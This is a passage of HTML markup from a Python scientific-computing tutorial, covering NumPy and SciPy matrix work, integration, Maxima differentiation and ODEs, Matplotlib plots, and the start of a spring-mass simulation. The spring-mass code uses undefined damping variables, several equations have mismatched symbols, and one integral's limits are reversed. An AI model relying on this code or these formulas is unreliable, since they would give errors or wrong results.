<div style="text-align: justify;">
The following example shows how to transpose a matrix and define a diagonal matrix:</div>
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<code class="python plain">In[</code><code class="python value">7</code><code class="python plain">]: </code><code class="python keyword">import</code> <code class="python plain">numpy as np</code></div>
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<code class="python plain">In[</code><code class="python value">8</code><code class="python plain">]: x </code><code class="python keyword">=</code> <code class="python plain">np.array([[</code><code class="python value">1</code><code class="python plain">,</code><code class="python value">2</code><code class="python plain">,</code><code class="python value">3</code><code class="python plain">],[</code><code class="python value">4</code><code class="python plain">,</code><code class="python value">5</code><code class="python plain">,</code><code class="python value">6</code><code class="python plain">],[</code><code class="python value">7</code><code class="python plain">,</code><code class="python value">8</code><code class="python plain">,</code><code class="python value">9</code><code class="python plain">]])</code></div>
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<code class="python plain">In[</code><code class="python value">7</code><code class="python plain">]: xT </code><code class="python keyword">=</code> <code class="python plain">np.transpose(x) </code><code class="python comments">#take transpose of the matrix</code></div>
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<code class="python plain">Out[</code><code class="python value">8</code><code class="python plain">]:xT </code><code class="python keyword">=</code> <code class="python plain">([[</code><code class="python value">1</code><code class="python plain">,</code><code class="python value">4</code><code class="python plain">,</code><code class="python value">7</code><code class="python plain">],[</code><code class="python value">2</code><code class="python plain">,</code><code class="python value">5</code><code class="python plain">,</code><code class="python value">8</code><code class="python plain">],[</code><code class="python value">3</code><code class="python plain">,</code><code class="python value">6</code><code class="python plain">,</code><code class="python value">9</code><code class="python plain">]])</code></div>
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<code class="python plain">In[</code><code class="python value">9</code><code class="python plain">]:n </code><code class="python keyword">=</code> <code class="python plain">diag(</code><code class="python functions">range</code><code class="python plain">(</code><code class="python value">1</code><code class="python plain">,</code><code class="python value">4</code><code class="python plain">)) </code><code class="python comments">#defining a diagnol matrix</code></div>
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<code class="python plain">In[</code><code class="python value">10</code><code class="python plain">]: n</code></div>
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<code class="python plain">Out[</code><code class="python value">10</code><code class="python plain">]:n </code><code class="python keyword">=</code> <code class="python plain">([[</code><code class="python value">1</code><code class="python plain">,</code><code class="python value">0</code><code class="python plain">,</code><code class="python value">0</code><code class="python plain">],[</code><code class="python value">0</code><code class="python plain">,</code><code class="python value">2</code><code class="python plain">,</code><code class="python value">0</code><code class="python plain">],[</code><code class="python value">0</code><code class="python plain">,</code><code class="python value">0</code><code class="python plain">,</code><code class="python value">3</code><code class="python plain">]])</code></div>
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</td></tr>
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</div>
<h2 style="text-align: justify;">
Linear algebra</h2>
<div style="text-align: justify;">
You can also solve linear algebra problems using the <code>linalg</code> package contained in SciPy. Let us look at a few more examples of calculating matrix inverse and determinant:</div>
<div style="text-align: justify;">
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<code class="python comments"># Matrix Inverse </code></div>
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<code class="python plain">In[</code><code class="python value">1</code><code class="python plain">]: </code><code class="python keyword">import</code> <code class="python plain">numpy as np</code></div>
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<code class="python plain">In[</code><code class="python value">2</code><code class="python plain">]: m </code><code class="python keyword">=</code> <code class="python plain">np.array([[</code><code class="python value">1</code><code class="python plain">,</code><code class="python value">3</code><code class="python plain">,</code><code class="python value">3</code><code class="python plain">],[</code><code class="python value">1</code><code class="python plain">,</code><code class="python value">4</code><code class="python plain">,</code><code class="python value">3</code><code class="python plain">],[</code><code class="python value">1</code><code class="python plain">,</code><code class="python value">3</code><code class="python plain">,</code><code class="python value">4</code><code class="python plain">]])</code></div>
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<code class="python plain">In[</code><code class="python value">3</code><code class="python plain">]: np.linalg.inv(m) </code><code class="python comments">#take inverse with linalg.inv function</code></div>
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<code class="python plain">Out[</code><code class="python value">3</code><code class="python plain">]: array([[</code><code class="python keyword">-</code><code class="python value">7</code><code class="python plain">,</code><code class="python keyword">-</code><code class="python value">3</code><code class="python plain">,</code><code class="python keyword">-</code><code class="python value">3</code><code class="python plain">],[</code><code class="python keyword">-</code><code class="python value">1</code><code class="python plain">,</code><code class="python value">1</code><code class="python plain">,</code><code class="python value">0</code><code class="python plain">],[</code><code class="python keyword">-</code><code class="python value">1</code><code class="python plain">,</code><code class="python value">0</code><code class="python plain">,</code><code class="python value">1</code><code class="python plain">]])</code></div>
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<code class="python comments">#Calculating Determinant</code></div>
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<code class="python plain">In[</code><code class="python value">4</code><code class="python plain">]: z </code><code class="python keyword">=</code> <code class="python plain">np.array([[</code><code class="python value">0</code><code class="python plain">,</code><code class="python value">0</code><code class="python plain">],[</code><code class="python value">0</code><code class="python plain">,</code><code class="python value">1</code><code class="python plain">]])</code></div>
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<code class="python plain">In[</code><code class="python value">5</code><code class="python plain">]: np.linalg.det(z)</code></div>
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<code class="python plain">Out[</code><code class="python value">5</code><code class="python plain">]: </code><code class="python value">0</code> <code class="python comments">#z is a singular matrix and hence has its determinant as zero</code></div>
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</div>
<h2 style="text-align: justify;">
Integration</h2>
<div style="text-align: justify;">
The <code>scipy.integrate</code>
package provides several integration techniques, which can be used to
solve simple and complex integrations. The package provides various
methods to integrate functions. We will be discussing a few of them
here. Let us first understand how to integrate the following functions:<br /> <img alt="\int_3^0 \! x^2 dx \\ \\ \int_3^1 \! 2^{\sqrt{x}} /\sqrt{x} dx" class="latex" src="http://s0.wp.com/latex.php?latex=%5Cint_3%5E0+%5C%21+x%5E2+dx+%5C%5C+%5C%5C++%5Cint_3%5E1+%5C%21+2%5E%7B%5Csqrt%7Bx%7D%7D+%2F%5Csqrt%7Bx%7D+dx&bg=ffffff&fg=000&s=0" title="\int_3^0 \! x^2 dx \\ \\ \int_3^1 \! 2^{\sqrt{x}} /\sqrt{x} dx" /></div>
<div style="text-align: justify;">
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<code class="python comments"># Simple Integration of x^2</code></div>
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<code class="python plain">In[</code><code class="python value">1</code><code class="python plain">]: </code><code class="python keyword">from</code> <code class="python plain">scipy.integrate </code><code class="python keyword">import</code> <code class="python plain">quad</code></div>
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<code class="python plain">In[</code><code class="python value">3</code><code class="python plain">]: sp.integrate.quad(</code><code class="python keyword">lambda</code> <code class="python plain">x: x</code><code class="python keyword">*</code><code class="python keyword">*</code><code class="python value">2</code><code class="python plain">,</code><code class="python value">0</code><code class="python plain">,</code><code class="python value">3</code><code class="python plain">) </code></div>
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<code class="python plain">Out[</code><code class="python value">3</code><code class="python plain">]: (</code><code class="python value">9.0</code><code class="python plain">, </code><code class="python value">9.9922072216264089e</code><code class="python keyword">-</code><code class="python value">14</code><code class="python plain">)</code></div>
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<code class="python comments"># Integration of 2^sqrt(x)/sqrt(x) </code></div>
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<code class="python spaces"> </code> </div>
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<code class="python plain">In[</code><code class="python value">4</code><code class="python plain">]: sp.integrate.quad(</code><code class="python keyword">lambda</code> <code class="python plain">x: </code><code class="python value">2</code><code class="python keyword">*</code><code class="python keyword">*</code><code class="python plain">sqrt(x)</code><code class="python keyword">/</code><code class="python plain">sqrt(x),</code><code class="python value">1</code><code class="python plain">,</code><code class="python value">3</code><code class="python plain">)</code></div>
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<code class="python spaces"> </code> </div>
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<code class="python plain">Out[</code><code class="python value">4</code><code class="python plain">]: (</code><code class="python value">3.8144772785946079</code><code class="python plain">, </code><code class="python value">4.2349205016052412e</code><code class="python keyword">-</code><code class="python value">14</code><code class="python plain">)</code></div>
</div>
</td></tr>
</tbody></table>
</div>
</div>
<div style="text-align: justify;">
The
first argument to quad is a “callable” Python object (i.e., a function,
method, or class instance). We have used a lambda function as the
argument in this case. (A lambda function is one that takes any number
of arguments — including optional arguments — and returns the value of a
single expression.) The next two arguments are the limits of
integration. The return value is a tuple, with the first element holding
the estimated value of the integral, and the second element holding an
upper bound on the error.</div>
<h2 style="text-align: justify;">
Differentiation</h2>
<div style="text-align: justify;">
We can get a
derivative at a point via automatic differentiation, supported by
FuncDesigner and OpenOpt, which are scientific packages based on SciPy.
Note that automatic differentiation is different from symbolic and
numerical differentiation. In symbolic differentiation, the function is
differentiated as an expression, and is then evaluated at a point.
Numerical differentiation makes use of the method of finite differences.</div>
<div style="text-align: justify;">
However,
automatic differentiation is the decomposition of differentials
provided by the chain rule. A complete understanding of automatic
differentiation is beyond the scope of this article, so I’d recommend
that interested readers refer to Wikipedia. Automatic differentiation
works by decomposing the vector function into elementary sequences,
which are then differentiated by a simple table lookup.</div>
<div style="text-align: justify;">
Unfortunately,
a deeper understanding of automatic differentiation is required to make
full use of the scientific packages provided in Python. Hence, in this
article, we’ll focus on symbolic differentiation, which is easier to
understand and implement. We’ll be using a powerful computer algebra
system known as Maxima for symbolic differentiation.</div>
<div style="text-align: justify;">
Maxima is a version of the MIT-developed MACSYMA system, modified to run under CLISP. Written in <a href="http://www.linuxforu.com/tag/lisp-tears-of-joy-series/" title="Series of articles on Lisp">Lisp</a>,
it allows differentiation, integration, solutions for linear or
polynomial equations, factoring of polynomials, expansion of functions
in the Laurent or Taylor series, computation of the Poisson series,
matrix and tensor manipulations, and two- and three-dimensional
graphics.</div>
<div style="text-align: justify;">
Open the Synaptic Package Manager and install the <code>maxima</code> package. Once installed, you can run it by executing the <code>maxima</code> command in the terminal. We’ll be differentiating the following simple functions with the help of Maxima:</div>
<div style="text-align: justify;">
d / dx(x<sup>4</sup>)<br /> d / dx(sin x + tan x)<br /> d / dx(1 / log x)</div>
<div style="text-align: justify;">
Figure 2 displays Maxima in action.</div>
<div class="wp-caption aligncenter" id="attachment_8904" style="text-align: justify; width: 590px;">
<a href="http://cdn.linuxforu.com/wp-content/uploads/2011/05/Image02.png"><img alt="Differentiation of some simple functions" class="size-large wp-image-8904" height="445" src="http://cdn.linuxforu.com/wp-content/uploads/2011/05/Image02-590x445.png" title="Differentiation of some simple functions" width="590" /></a><div class="wp-caption-text">
Figure 2: Differentiation of some simple functions</div>
</div>
<div style="text-align: justify;">
You have to simply define the function in <code>diff()</code> and maxima will calculate the derivative for you.</div>
<div style="text-align: justify;">
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<code class="python plain">(</code><code class="python keyword">%</code><code class="python plain">i1) diff(x^</code><code class="python value">4</code><code class="python plain">)</code></div>
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<code class="python plain">(</code><code class="python keyword">%</code><code class="python plain">o1) </code><code class="python value">4x</code><code class="python plain">^</code><code class="python value">3</code> <code class="python keyword">del</code><code class="python plain">(x)</code></div>
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<code class="python plain">(</code><code class="python keyword">%</code><code class="python plain">i2) diff(sin(x) </code><code class="python keyword">+</code> <code class="python plain">tan(x))</code></div>
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<code class="python plain">(</code><code class="python keyword">%</code><code class="python plain">o2) (sec^</code><code class="python value">2</code><code class="python plain">(x) </code><code class="python keyword">+</code> <code class="python plain">cos(x))</code><code class="python keyword">del</code><code class="python plain">(x)</code></div>
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<code class="python plain">(</code><code class="python keyword">%</code><code class="python plain">i3) diff(</code><code class="python value">1</code><code class="python keyword">/</code><code class="python plain">log(x))</code></div>
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<code class="python plain">(</code><code class="python keyword">%</code><code class="python plain">o3) </code><code class="python keyword">-</code> <code class="python keyword">del</code><code class="python plain">(x)</code><code class="python keyword">/</code><code class="python plain">x log^</code><code class="python value">2</code><code class="python plain">(x)</code><code class="python keyword">-</code></div>
</div>
</td></tr>
</tbody></table>
</div>
</div>
<div style="text-align: justify;">
The command <code>diff(expr,var,num)</code>
will differentiate the expression in Slot 1 with respect to the
variable entered in Slot 2 a number of times, determined by a positive
integer in Slot 3. Unless a dependency has been established, all
parameters and variables in the expression are treated as constants when
taking the derivative. Similarly, you can also calculate higher order
differentials with Maxima.</div>
<h2 style="text-align: justify;">
Ordinary differential equations</h2>
<div style="text-align: justify;">
Maxima
can also be used to solve ODEs. We’ll dive straight into some examples
to understand how to solve ODEs with Maxima. Consider the following
differential equations:</div>
<div style="text-align: justify;">
dx/dt = e<sup>-t</sup> + x<br /> d<sup>2</sup>x / dt<sup>2</sup> – 4x = 0</div>
<div style="text-align: justify;">
Consider Figure 3.</div>
<div class="wp-caption aligncenter" id="attachment_8905" style="text-align: justify; width: 590px;">
<a href="http://cdn.linuxforu.com/wp-content/uploads/2011/05/Image03.png"><img alt="Solving simple differential equations" class="size-large wp-image-8905" height="436" src="http://cdn.linuxforu.com/wp-content/uploads/2011/05/Image03-590x436.png" title="Solving simple differential equations" width="590" /></a><div class="wp-caption-text">
Figure 3: Solving simple differential equations</div>
</div>
<div class="wp-caption aligncenter" id="attachment_8906" style="text-align: justify; width: 590px;">
<a href="http://cdn.linuxforu.com/wp-content/uploads/2011/05/Image04.png"><img alt="Getting solutions at a point of differential equations" class="size-large wp-image-8906" height="442" src="http://cdn.linuxforu.com/wp-content/uploads/2011/05/Image04-590x442.png" title="Getting solutions at a point of differential equations" width="590" /></a><div class="wp-caption-text">
Figure 4: Getting solutions at a point of differential equations</div>
</div>
<div style="text-align: justify;">
Let’s rewrite our example ordinary differential equations using the noun form <code>diff</code>, which uses a single quote. Then use <code>ode2</code>, and call the general solution <code>gsoln</code>.</div>
<div style="text-align: justify;">
The function <code>ode2</code> solves an ordinary differential equation (ODE) of the first or second order. This takes three arguments: an ODE given by <code>eqn</code>, the dependent variable <code>dvar</code>,
and the independent variable ivar. When successful, it returns either
an explicit or implicit solution for the dependent variable. <code>%c</code> is used to represent the integration constant in the case of first-order equations, and <code>%k1</code> and <code>%k2</code> the constants for second-order equations.</div>
<div style="text-align: justify;">
We can also find the solution at predefined points using <code>ic1</code> and call this particular solution, <code>psoln</code>. Consider the following non-linear first order differential equation:</div>
<div style="text-align: justify;">
(x<sup>2</sup>y)dy / dx = xy +x<sup>3</sup> – 1</div>
<div style="text-align: justify;">
Let’s first define the equation, and then solve it with <code>ode2</code>. Further, let us find the particular solution at points <code>x=1</code> and <code>y=1</code> using <code>ic1</code>.</div>
<div style="text-align: justify;">
We
can also solve ODEs with NumPy and SciPy using the FuncDesigner and
OpenOpt packages. However, both these packages make use of automatic
differentiation to solve ODEs. Hence, Maxima was chosen over these
packages. ODEs can also be solved using the <code>scipy.integrate.odeint</code> package. We will later use this package for mathematical modelling.</div>
<h2 style="text-align: justify;">
Curve plotting with MatPlotLib</h2>
<div style="text-align: justify;">
It’s
said that a picture is worth a thousand words, and there’s no denying
the fact that it’s much more convenient to make sense of a scientific
experiment by looking at the plots as compared to looking just at the
raw data.</div>
<div style="text-align: justify;">
In this article, we’ll be focusing on MatPlotLib, which
is a Python package for 2D plotting that produces production-quality
graphs. Matlab is customisable and extensible, and is integrated with
LaTeX markup, which is really useful when writing scientific papers. Let
us make a simple plot with the help of MatPlotLib:</div>
<div style="text-align: justify;">
<div class="syntaxhighlighter notranslate python" id="highlighter_577407">
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<code class="python comments">#Simple Plot with MatPlotLib</code></div>
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<code class="python comments">#! /usr/bin/python</code></div>
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<code class="python plain">x </code><code class="python keyword">=</code> <code class="python functions">range</code><code class="python plain">(</code><code class="python value">10</code><code class="python plain">)</code></div>
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<code class="python plain">plt.plot(x, [xi</code><code class="python keyword">*</code><code class="python keyword">*</code><code class="python value">3</code> <code class="python keyword">for</code> <code class="python plain">xi </code><code class="python keyword">in</code> <code class="python plain">x])</code></div>
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<code class="python plain">plt.show()</code></div>
</div>
</td></tr>
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</div>
</div>
<div class="wp-caption aligncenter" id="attachment_8907" style="text-align: justify; width: 590px;">
<a href="http://cdn.linuxforu.com/wp-content/uploads/2011/05/Image05.png"><img alt="Simple plot with MatPlotLib" class="size-large wp-image-8907" height="502" src="http://cdn.linuxforu.com/wp-content/uploads/2011/05/Image05-590x502.png" title="Simple plot with MatPlotLib" width="590" /></a><div class="wp-caption-text">
Figure 5: Simple plot with MatPlotLib</div>
</div>
<div style="text-align: justify;">
Let us take another example using the <code>arange</code> function; <code>arange(x,y,z)</code> is a part of NumPy, and it generates a sequence of elements with <code>x</code> to <code>y</code> with spacing <code>z</code>.</div>
<div style="text-align: justify;">
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<code class="python comments">#Simple Plot with MatPlotLib</code></div>
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<code class="python comments">#! /usr/bin/python</code></div>
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<code class="python plain">x </code><code class="python keyword">=</code> <code class="python plain">np.arange(</code><code class="python value">0</code><code class="python plain">,</code><code class="python value">20</code><code class="python plain">,</code><code class="python value">2</code><code class="python plain">)</code></div>
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<code class="python plain">plt.plot(x, [xi</code><code class="python keyword">*</code><code class="python keyword">*</code><code class="python value">2</code> <code class="python keyword">for</code> <code class="python plain">xi </code><code class="python keyword">in</code> <code class="python plain">x])</code></div>
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</div>
<div style="text-align: justify;">
We can also add labels, legends, the grid and axis name in the plot. Take a look at Figure 6, and the following code:</div>
<div class="wp-caption aligncenter" id="attachment_8908" style="text-align: justify; width: 590px;">
<a href="http://cdn.linuxforu.com/wp-content/uploads/2011/05/Image06.png"><img alt="The plot after utilising the arange function" class="size-large wp-image-8908" height="502" src="http://cdn.linuxforu.com/wp-content/uploads/2011/05/Image06-590x502.png" title="The plot after utilising the arange function" width="590" /></a><div class="wp-caption-text">
Figure 6: The plot after utilising the arange function</div>
</div>
<div style="text-align: justify;">
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<code class="python plain">plt.plot(x, [xi</code><code class="python keyword">*</code><code class="python keyword">*</code><code class="python value">3</code> <code class="python keyword">for</code> <code class="python plain">xi </code><code class="python keyword">in</code> <code class="python plain">x], label</code><code class="python keyword">=</code><code class="python string">'Fast'</code><code class="python plain">)</code></div>
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</div>
</td></tr>
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<div class="wp-caption aligncenter" id="attachment_8909" style="text-align: justify; width: 590px;">
<a href="http://cdn.linuxforu.com/wp-content/uploads/2011/05/Image07.png"><img alt="Multiline plot with MatPlotLib" class="size-large wp-image-8909" height="500" src="http://cdn.linuxforu.com/wp-content/uploads/2011/05/Image07-590x500.png" title="Multiline plot with MatPlotLib" width="590" /></a><div class="wp-caption-text">
Figure 7: Multiline plot with MatPlotLib</div>
</div>
<div style="text-align: justify;">
You can create various types of plots using MatPlotLib. Let us take a look at Pie Plot and Scatter Plot.</div>
<div style="text-align: justify;">
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</div>
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<code class="python plain">plt.title(</code><code class="python string">'Distribution of Dark Energy and Dark Matter in the Universe'</code><code class="python plain">)</code></div>
<div class="line number6 index5 alt1">
</div>
<div class="line number7 index6 alt2">
<code class="python plain">x </code><code class="python keyword">=</code> <code class="python plain">[</code><code class="python value">74.0</code><code class="python plain">,</code><code class="python value">22.0</code><code class="python plain">,</code><code class="python value">3.6</code><code class="python plain">,</code><code class="python value">0.4</code><code class="python plain">]</code></div>
<div class="line number8 index7 alt1">
</div>
<div class="line number9 index8 alt2">
<code class="python plain">labels </code><code class="python keyword">=</code> <code class="python plain">[</code><code class="python string">'Dark Energy'</code><code class="python plain">, </code><code class="python string">'Dark Matter'</code><code class="python plain">, </code><code class="python string">'Intergalatic gas'</code><code class="python plain">, </code><code class="python string">'Stars,etc'</code><code class="python plain">]</code></div>
<div class="line number10 index9 alt1">
</div>
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<code class="python plain">plt.pie(x, labels</code><code class="python keyword">=</code><code class="python plain">labels, autopct</code><code class="python keyword">=</code><code class="python string">'%1.1f%%'</code><code class="python plain">);</code></div>
<div class="line number12 index11 alt1">
</div>
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<code class="python plain">plt.show()</code></div>
</div>
</td></tr>
</tbody></table>
</div>
</div>
<div class="wp-caption aligncenter" id="attachment_8910" style="text-align: justify; width: 590px;">
<a href="http://cdn.linuxforu.com/wp-content/uploads/2011/05/Image08.png"><img alt="Pie chart with MatPlotLib" class="size-large wp-image-8910" height="636" src="http://cdn.linuxforu.com/wp-content/uploads/2011/05/Image08-590x636.png" title="Pie chart with MatPlotLib" width="590" /></a><div class="wp-caption-text">
Figure 8: Pie chart with MatPlotLib</div>
</div>
<div class="wp-caption aligncenter" id="attachment_8911" style="text-align: justify; width: 590px;">
<a href="http://cdn.linuxforu.com/wp-content/uploads/2011/05/Image09.png"><img alt="Scatter Plot with MatPlotLib" class="size-large wp-image-8911" height="502" src="http://cdn.linuxforu.com/wp-content/uploads/2011/05/Image09-590x502.png" title="Scatter Plot with MatPlotLib" width="590" /></a><div class="wp-caption-text">
Figure 9: Scatter Plot with MatPlotLib</div>
</div>
<div style="text-align: justify;">
<div class="syntaxhighlighter notranslate python" id="highlighter_245783">
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<code class="python keyword">import</code> <code class="python plain">matplotlib.pyplot as plt</code></div>
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</div>
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<code class="python keyword">import</code> <code class="python plain">numpy as np</code></div>
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<code class="python plain">plt.title(</code><code class="python string">'Scatter Plot'</code><code class="python plain">)</code></div>
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</div>
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<code class="python plain">x </code><code class="python keyword">=</code> <code class="python plain">np.random.randn(</code><code class="python value">200</code><code class="python plain">)</code></div>
<div class="line number8 index7 alt1">
</div>
<div class="line number9 index8 alt2">
<code class="python plain">y </code><code class="python keyword">=</code> <code class="python plain">np.random.randn(</code><code class="python value">200</code><code class="python plain">)</code></div>
<div class="line number10 index9 alt1">
</div>
<div class="line number11 index10 alt2">
<code class="python plain">plt.xlabel(</code><code class="python string">'X axis'</code><code class="python plain">)</code></div>
<div class="line number12 index11 alt1">
</div>
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<code class="python plain">plt.ylabel(</code><code class="python string">'Y axis'</code><code class="python plain">)</code></div>
<div class="line number14 index13 alt1">
</div>
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<code class="python plain">plt.scatter(x,y)</code></div>
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</div>
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<code class="python plain">plt.show()</code></div>
</div>
</td></tr>
</tbody></table>
</div>
</div>
<div style="text-align: justify;">
Similarly, you can plot Histograms and Bar charts using the <code>plt.hist()</code> and <code>plt.bar()</code> functions, respectively. In our next example, we will generate a plot by using data from a text file:</div>
<div style="text-align: justify;">
<div class="syntaxhighlighter notranslate python" id="highlighter_487312">
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<code class="python keyword">import</code> <code class="python plain">matplotlib.pyplot as plt </code></div>
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<code class="python keyword">import</code> <code class="python plain">numpy as np</code></div>
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</div>
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<code class="python plain">data </code><code class="python keyword">=</code> <code class="python plain">np.loadtxt(</code><code class="python string">'ndata.txt'</code><code class="python plain">) </code></div>
<div class="line number5 index4 alt2">
<code class="python plain">x </code><code class="python keyword">=</code> <code class="python plain">data[:,</code><code class="python value">0</code><code class="python plain">] </code></div>
<div class="line number6 index5 alt1">
<code class="python plain">y </code><code class="python keyword">=</code> <code class="python plain">data[:,</code><code class="python value">1</code><code class="python plain">] </code></div>
<div class="line number7 index6 alt2">
</div>
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<code class="python plain">figure(</code><code class="python value">1</code><code class="python plain">,figsize</code><code class="python keyword">=</code><code class="python plain">(</code><code class="python value">6</code><code class="python plain">,</code><code class="python value">4</code><code class="python plain">))</code></div>
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</div>
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<code class="python plain">grid(</code><code class="python color1">True</code><code class="python plain">) </code></div>
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<code class="python plain">hold(</code><code class="python color1">True</code><code class="python plain">) </code></div>
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<code class="python plain">lw</code><code class="python keyword">=</code><code class="python value">1</code></div>
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<code class="python plain">xlabel(</code><code class="python string">'x'</code><code class="python plain">) </code></div>
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</div>
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<code class="python plain">plot(x,y,</code><code class="python string">'b'</code><code class="python plain">,linewidth</code><code class="python keyword">=</code><code class="python plain">lw) </code></div>
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</div>
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<code class="python plain">plt.show()</code></div>
</div>
</td></tr>
</tbody></table>
</div>
</div>
<div style="text-align: justify;">
After executing this program, it results in the plot shown in Figure 10.</div>
<div class="wp-caption aligncenter" id="attachment_8914" style="text-align: justify; width: 487px;">
<img alt="Plotting by fetching data from the text file" class="size-full wp-image-8914" height="388" src="http://cdn.linuxforu.com/wp-content/uploads/2011/05/Image10.png" title="Plotting by fetching data from the text file" width="487" /><div class="wp-caption-text">
Figure 10: Plotting by fetching data from the text file</div>
</div>
<div class="wp-caption aligncenter" id="attachment_8913" style="text-align: justify; width: 590px;">
<a href="http://cdn.linuxforu.com/wp-content/uploads/2011/05/Image11.jpg"><img alt="Spring-Mass System" class="size-large wp-image-8913" height="231" src="http://cdn.linuxforu.com/wp-content/uploads/2011/05/Image11-590x231.jpg" title="Spring-Mass System" width="590" /></a><div class="wp-caption-text">
Figure 11: Spring-Mass System</div>
</div>
<div style="text-align: justify;">
So, what’s happening here? First of all, we fetch data from the text file using the <code>loadtxt</code>
function, which splits each non-empty line into a sequence of strings.
Empty or commented lines are just skipped. The fetched data is then
distributed in variables using slice. The figure function creates a new
figure of the specified dimensions, whereas the plot function creates a
new line plot.</div>
<h2 style="text-align: justify;">
Mathematical modelling</h2>
<div style="text-align: justify;">
Now that we have a
basic understanding of various computation tools, we can move on to some
more complex problems related to mathematics and physics. Let’s take a
look at one of the problems provided by the SciPy community. The example
is available on the Internet (at the SciPy website). However, some of
the methods explained in this example are deprecated; hence, we’ll
rebuild the example, so that it works correctly with the latest version
of SciPy and NumPy.</div>
<div style="text-align: justify;">
We’re going to build and simulate a model
based on a coupled spring-mass system, which is essentially a harmonic
oscillator, in which a spring is stretched or compressed by a mass,
thereby developing a restoring force in the spring, which results in
harmonic motions when the mass is displaced from its equilibrium
position. For an undamped system, the motion of Block 1 is given by the
following differential equation:</div>
<div style="text-align: justify;">
m<sub>1</sub>d<sup>2</sup>x<sub>1</sub> / dt = (k<sub>1</sub> + k)x<sub>1</sub> – k<sub>2</sub>x<sub>2</sub> = 0</div>
<div style="text-align: justify;">
For Block 2:</div>
<div style="text-align: justify;">
m<sub>2</sub>d<sup>2</sup>x<sub>2</sub> / dt + k x<sub>2</sub> – k<sub>1</sub>x<sub>1</sub> = 0</div>
<div style="text-align: justify;">
In
this example, we’ve taken a coupled spring-mass system, which is
subjected to a frictional force, thereby resulting in damping. Note that
damping tends to reduce the amplitude of oscillations in an oscillatory
system. For our example, let us assume that the lengths of the springs,
when subjected to no external forces, are L1 and L2. The following
differential equations define such a system:</div>
<div style="text-align: justify;">
m<sub>1</sub>d<sup>2</sup>x<sub>1</sub> / dt + μ<sub>1</sub>dx<sub>1</sub> / dt + k<sub>1</sub>(x<sub>1</sub> – L<sub>1</sub>) – k<sub>2</sub>(x<sub>1</sub> – x<sub>2</sub> – L<sub>2</sub>) = 0</div>
<div style="text-align: justify;">
…and:</div>
<div style="text-align: justify;">
m<sub>2</sub>d<sup>2</sup>x<sub>2</sub> / dt + μ<sub>2</sub>dx / dt + k (x<sub>2</sub> – x<sub>1</sub> – L<sub>2</sub>) = 0</div>
<div style="text-align: justify;">
We’ll be using the Scipy <code>odeint</code>
function to solve this problem. The function works for first-order
differential equations; hence, we’ll re-write the equations as first
fourth order equations:</div>
<div style="text-align: justify;">
dx<sub>1</sub> / dt = y<sub>1</sub><br /> dy<sub>1</sub> / dt = (-μ<sub>1</sub>y<sub>1</sub> – k<sub>1</sub>(x<sub>1</sub> – L<sub>1</sub>) + k (x<sub>2</sub> – x<sub>1</sub> – L<sub>2</sub>)) / m<sub>1</sub><br /> dx<sub>2</sub> / dt = y<br /> dy<sub>2</sub> / dt = (-μ<sub>2</sub>y<sub>2</sub> – k<sub>2</sub>(x<sub>2</sub> – x<sub>1</sub> – L<sub>1</sub>)) / m<sub>2</sub></div>
<div style="text-align: justify;">
Now, let’s write a simple Python script to define this problem:</div>
<div style="text-align: justify;">
<div class="syntaxhighlighter notranslate python" id="highlighter_650632">
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<code class="python comments">#! /usr/bin/python</code></div>
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<code class="python keyword">def</code> <code class="python plain">vector(w,t,p):</code></div>
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<code class="python plain">x1,y1,x2,y2 </code><code class="python keyword">=</code> <code class="python plain">w</code></div>
<div class="line number6 index5 alt1">
<code class="python plain">m1,m2,k1,k2,u1,u2,L1,L2 </code><code class="python keyword">=</code> <code class="python plain">p</code></div>
<div class="line number7 index6 alt2">
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<code class="python plain">f </code><code class="python keyword">=</code> <code class="python plain">[y1,</code></div>
<div class="line number9 index8 alt2">
<code class="python plain">(</code><code class="python keyword">-</code><code class="python plain">b1</code><code class="python keyword">*</code><code class="python plain">y1 </code><code class="python keyword">-</code> <code class="python plain">k1</code><code class="python keyword">*</code><code class="python plain">(x1</code><code class="python keyword">-</code><code class="python plain">L1) </code><code class="python keyword">+</code> <code class="python plain">k2</code><code class="python keyword">*</code><code class="python plain">(x2</code><code class="python keyword">-</code><code class="python plain">x1</code><code class="python keyword">-</code><code class="python plain">L2))</code><code class="python keyword">/</code><code class="python plain">m1,</code></div>
<div class="line number10 index9 alt1">
<code class="python plain">y2,</code></div>
<div class="line number11 index10 alt2">
<code class="python plain">(</code><code class="python keyword">-</code><code class="python plain">b2</code><code class="python keyword">*</code><code class="python plain">y2 </code><code class="python keyword">-</code> <code class="python plain">k2</code><code class="python keyword">*</code><code class="python plain">(x2</code><code class="python keyword">-</code><code class="python plain">x1</code><code class="python keyword">-</code><code class="python plain">L2))]</code></div>
<div class="line number12 index11 alt1">
</div>
<div class="line number13 index12 alt2">
<code class="python keyword">return</code> <code class="python plain">f</code></div>
</div>
</td></tr>
</tbody></table>
</div>
</div>
<div style="text-align: justify;">
In this script, we have simply defined the above mentioned equations programmatically. The argument <code>w</code> defines the state variables; <code>t</code> is for time, and <code>p</code>
defines the vector of the parameters. In short, we have simply defined
the vector field for the spring-mass system in this script.</div>
<div style="text-align: justify;">
Now, let’s define a script that uses <code>odeint</code>
to solve the equations for a given set of parameter values, initial
conditions, and time intervals. The script prints the points in the
solution to the terminal.</div>
<div style="text-align: justify;">
<div class="syntaxhighlighter notranslate python" id="highlighter_935788">
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<div class="line number1 index0 alt2">
<code class="python comments">#! /usr/bin/python</code></div>
<div class="line number2 index1 alt1">
</div>
<div class="line number3 index2 alt2">
<code class="python keyword">from</code> <code class="python plain">scipy.integrate </code><code class="python keyword">import</code> <code class="python plain">odeint</code></div>
<div class="line number4 index3 alt1">
<code class="python keyword">import</code> <code class="python plain">two_springs</code></div>
<div class="line number5 index4 alt2">
</div>
<div class="line number6 index5 alt1">
<code class="python comments"># Parameter values</code></div>
<div class="line number7 index6 alt2">
<code class="python comments"># Masses:</code></div>
<div class="line number8 index7 alt1">
<code class="python plain">m1 </code><code class="python keyword">=</code> <code class="python value">1.0</code></div>
<div class="line number9 index8 alt2">
<code class="python plain">m2 </code><code class="python keyword">=</code> <code class="python value">1.5</code></div>
<div class="line number10 index9 alt1">
<code class="python comments"># Spring constants</code></div>
<div class="line number11 index10 alt2">
<code class="python plain">k1 </code><code class="python keyword">=</code> <code class="python value">8.0</code></div>
<div class="line number12 index11 alt1">
<code class="python plain">k2 </code><code class="python keyword">=</code> <code class="python value">40.0</code></div>
<div class="line number13 index12 alt2">
<code class="python comments"># Natural lengths</code></div>
<div class="line number14 index13 alt1">
<code class="python plain">L1 </code><code class="python keyword">=</code> <code class="python value">0.5</code></div>
<div class="line number15 index14 alt2">
